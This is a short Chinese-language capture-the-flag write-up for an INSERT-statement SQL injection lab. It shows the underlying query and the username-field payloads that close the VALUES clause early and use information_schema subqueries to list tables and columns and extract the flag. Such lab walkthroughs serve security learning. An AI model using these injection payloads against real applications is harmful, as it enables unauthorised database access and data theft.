S12 INSERT 注入
1.打开靶机
有三个输入框
账号:
口令:
邮箱:
给出提示
写入数据的 INSERT 一样能注入:你能在 VALUES 里提前闭合这条语句,再把自己想写的东西塞进去。
2.初步尝试
三个输入框均输入1 看到源代码
INSERT INTO users(username, password, email) VALUES('1', '1', '1')
并且发现如果不填账号 指令不会执行
3.进行注入
在账号中构造
x','y',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
得到表名
comments,flags,logs,news,products,subs,users,vip
查列名
x','y',(select group_concat(column_name) from information_schema.columns where table_name="flags"))#
得到
flag,level,note
查元素
x','y',(select group_concat(flag) from flags))#
得到flag
flag{sqli_12_insert_inject}